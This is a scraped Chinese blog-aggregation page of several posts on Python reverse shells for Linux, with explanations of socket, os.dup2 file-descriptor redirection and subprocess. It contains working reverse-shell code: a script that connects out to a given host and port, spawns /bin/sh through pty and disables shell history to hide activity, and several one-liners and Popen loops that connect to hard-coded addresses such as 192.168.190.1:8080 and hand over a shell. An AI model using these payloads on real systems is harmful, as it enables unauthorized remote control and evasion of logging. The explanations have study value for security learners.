精华内容
下载资源
问答
  • python 反弹shell

    2016-12-18 01:49:00
    来源:https://github.com/dairoot/Shell-rebound/blob/master/back.pysec.net/nc.py # -*- coding:utf-8 -*- .../usr/bin/env python """ back connect py version,only linux have pty module code by goo...

    来源:https://github.com/dairoot/Shell-rebound/blob/master/back.py
    sec.net/nc.py

    # -*- coding:utf-8 -*-
    #!/usr/bin/env python
    """
    back connect py version,only linux have pty module
    code by google security team
    """
    import sys,os,socket,pty
    shell = "/bin/sh"
    def usage(name):
        print 'python reverse connector'
        print 'usage: %s <ip_addr> <port>' % name
    
    def main():
        if len(sys.argv) !=3:
            usage(sys.argv[0])
            sys.exit()
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((sys.argv[1],int(sys.argv[2])))
            print 'connect ok'
        except:
            print 'connect faild'
            sys.exit()
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        global shell
        os.unsetenv("HISTFILE")
        os.unsetenv("HISTFILESIZE")
        os.unsetenv("HISTSIZE")
        os.unsetenv("HISTORY")
        os.unsetenv("HISTSAVE")
        os.unsetenv("HISTZONE")
        os.unsetenv("HISTLOG")
        os.unsetenv("HISTCMD")
        os.putenv("HISTFILE",'/dev/null')
        os.putenv("HISTSIZE",'0')
        os.putenv("HISTFILESIZE",'0')
        pty.spawn(shell)
        s.close()
    
    if __name__ == '__main__':
        main()

     

    转载于:https://www.cnblogs.com/ring3/p/6193662.html

    展开全文
  • 使用python反弹shell

    2019-07-10 10:06:25
    /usr/bin/python #coding=utf-8 import os,subprocess,socket s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.1.107",19)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) ...

    先上脚本:

    #!/usr/bin/python
    #coding=utf-8
    import os,subprocess,socket
    
     
    
    s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)
    
    s.connect(("192.168.1.107",19))
    
    os.dup2(s.fileno(),0)
    
    os.dup2(s.fileno(),1)
    
    os.dup2(s.fileno(),2)
    
    p=subprocess.call(["/bin/sh","-i"])
    

    在已经深入理解了第一种方法的原理后,下面来解释一下python反弹shell的原理。

    首先使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,经过测试可以看到值为3。
    在这里插入图片描述
    于是这样就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程(3),接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。

    展开全文
  • 昨天学习了反弹shell,对python弹shell产生了一些疑惑 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); os.dup2...

    前言

    昨天学习了反弹shell,对python弹shell产生了一些疑惑

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    分析

    把代码排版一下

    import socket,subprocess,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("192.168.190.1",8080))
    os.dup2(s.fileno(),0)       
    os.dup2(s.fileno(),1)       
    os.dup2(s.fileno(),2)       
    p=subprocess.call(["/bin/sh","-i"])

    分析一下代码,分为三个部分socketossubprocess

    1.socket部分

    import socket
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("192.168.190.1",8080))

    接下来逐行分析

    import socket

    导入python socket库

    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    使用socket函数创建一个套接字,AF_INET表示是一个IPv4的套接字,SOCK_STREAM表示使用TCP流式socket

    s.connect(("192.168.190.1",8080))

    连接到192.168.190.1:8080处的套接字

    2.os部分

    import os
    os.dup2(s.fileno(),0)       
    os.dup2(s.fileno(),1)       
    os.dup2(s.fileno(),2)      

    这里我一开始不知道dup2函数是干什么用的,百度了一会才知道

    引用菜鸟教程的解释

    os.dup2() 方法用于将一个文件描述符 fd 复制到另一个 fd2。

    而fileno()函数就是返回一个文件的文件描述符

    那么,什么是文件描述符呢?

    在linux中系统对于文件的操作是根据文件描述符来决定的,文件描述符是一个比较小的大于等于3的整数,0表示标准输入stdin,1表示标准输出stdout,2表示标准错误输出stderr

    所以上面的函数作用就是把stdin,stdout,stderr的内容替换为套接字返回的内容,所以在本机nc监听就会创建一个套接字进程,是的在本地输入的内容就直接作为宿主机的stdin,stdout的内容也会在本地显示

    3. subprocess部分

    import subprocess
    p=subprocess.call(["/bin/sh","-i"])

    先引用一段关于subprocess库的描述

    它允许你生成新的进程,连接到它们的 input/output/error 管道,并获取它们的返回(状态)码

    而call函数的作用就是执行指定的命令,返回命令执行的状态码

    所以这句代码的作用就是生成新的进程,调用/bin/sh

    综上,shell就会被subprocess调用,并用socket传输的数据替代stdin,stdout,stderr,使得在本地就能操作宿主机

    问题

    虽然大致解决了原理,但是还有一些代码方面的问题

    fileno应该是只有文件类型才能使用的函数,但是socket套接字却能够使用

    我觉得是因为数据流和文件流之类的问题,详细情况还待之后学习……

    转载于:https://www.cnblogs.com/hf99/p/9546906.html

    展开全文
  • python反弹shell(linux)

    千次阅读 2019-10-02 23:29:43
    其他反弹shell linux: https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html linux: https://www.jianshu.com/p/6aca9b29514d windows: https://www.cnblogs.com/ring3/p/6193662.html ...

    第一种代码如下

    • 标准输入   (stdin) :代码为 0 ,使用 < 或 << 
    • 标准输出   (stdout):代码为 1 ,使用 > 或 >> 
    • 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>
    import socket,subprocess,os 
    
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
    s.connect(("127.0.0.1",6666))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1) #将这个文件描述符代表的文件,传递给1描述符指向的文件(也就是stdout)
    os.dup2(s.fileno(),2) 
    p=subprocess.call(["/bin/sh","-i"])

    第二种

    import socket, subprocess
    s = socket.socket()
    s.connect(('127.0.0.1',6666))
    while 1:
        proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    s.send(proc.stdout.read()+proc.stderr.read())

    其他反弹shell

    linux:https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html

    linux:https://www.jianshu.com/p/6aca9b29514d

    windows:https://www.cnblogs.com/ring3/p/6193662.html

    展开全文
  • 2019独角兽企业重金招聘Python工程师标准>>> ...
  • 前言:仅做交流,仅做交流。 除了51CTO当然也可以用其他的媒介啦,比如微博,微信等。这里就用51CTO吧思路:存在这样的一个情况,我们在某台机器上... 在说说什么是反弹Shell反弹shell的好处在于被***的主机可...
  • python反弹shell代码进行base64编码 这时候,我们就可以通过python来反弹shell了, 构造如下: 这个是哪个python的反弹shell 的那一块 shell=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_...
  • python邮件反弹shell

    2016-09-29 11:31:10
    使用python反弹shell,根据邮件确定反弹地址
  • python shell与反弹shell

    2019-10-03 09:58:55
    python shell与反弹shell 正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接 反弹shell,攻击端是服务端,被攻击端是客户端正常shell,攻击端是客户端,被攻击端是服务端 反弹shell,先启用...
  • 有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell 主要用到python os库和sokect库 这里的服务端在目标机上运行 from socket import * from os import * s=socket(AF_INET...
  • 有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell 主要用到python os库和sokect库 这里的服务端在目标机上运行 from socket import * from os import * s=socket...
  • 不知道怎么忽然想看这个,呵呵小我的python的反shell的代码#!/usr/bin/python# Python Connect-back Backdoor# Author: wofeiwo # Version: 1.0# Date: July 15th 2006import sysimport osimport socketshell = "/bin...
  • Linux反弹shell姿势总结

    千次阅读 2020-07-19 15:09:01
    Linux反弹shellBash反弹shellnc反弹shellpython反弹shellphp反弹shell使用php的exec函数反弹shell使用php的fsockopen远程连接Perl反弹shellRuby反弹shellJava反弹shell其他反弹shell姿势 Linux反弹shell场景非常常见...
  • 在最近的python开发中 用到了 字符串转字典 使用了eval 这让我想起了php中的...搜索一下 找到了 python反弹shell 代码 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_ST...
  • Netcat反弹shell

    2021-01-14 16:58:34
    Netcat反弹shell基础介绍使用python反弹shell应用场景使用方法当nc不支持-e时如何反弹shell应用场景使用方法 #应用场景 某些拿到服务器权限之后,想要设置一个反弹shell。但是目标服务器上没有安装nc时。 基础介绍 ...
  • Linux反弹shell

    千次阅读 2018-11-29 23:55:26
    Python反弹shell 其他命令反弹shell 写入命令到定时任务文件 写入SSH公钥 写入/etc/profile文件 当我们可以在远程Linux主机上执行任意命令或写入任意数据到任意文件的时候,我们通常会通过以下方式控制远程主机...
  • shell就是一个命令执行环境,...反弹shell就是控制者作为服务器使用,被控制者作为客户端使用 python执行系统命令,os subprocee os.popen(command+”2>&1”).read() 2>&1可以把出错信息解读出来 ...
  • 看了上两边文章,你会了使用socket进行交互和subprocess执行系统命令,那么两者结合起来可以制作一个反弹shell,没有看过的去看一下把。 先说一下思路 首先hacker攻击方,编写脚本控制端(server)和受控端(client)...
  • 小编创建了一个Python学习交流QQ群:531509025 寻找有志同道合的小伙伴,互帮互助,群里还有不错的视频学习教程和PDF电子书! ''' import socket import time server=("0.0....

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 4,421
精华内容 1,768
关键字:

python反弹shell

python 订阅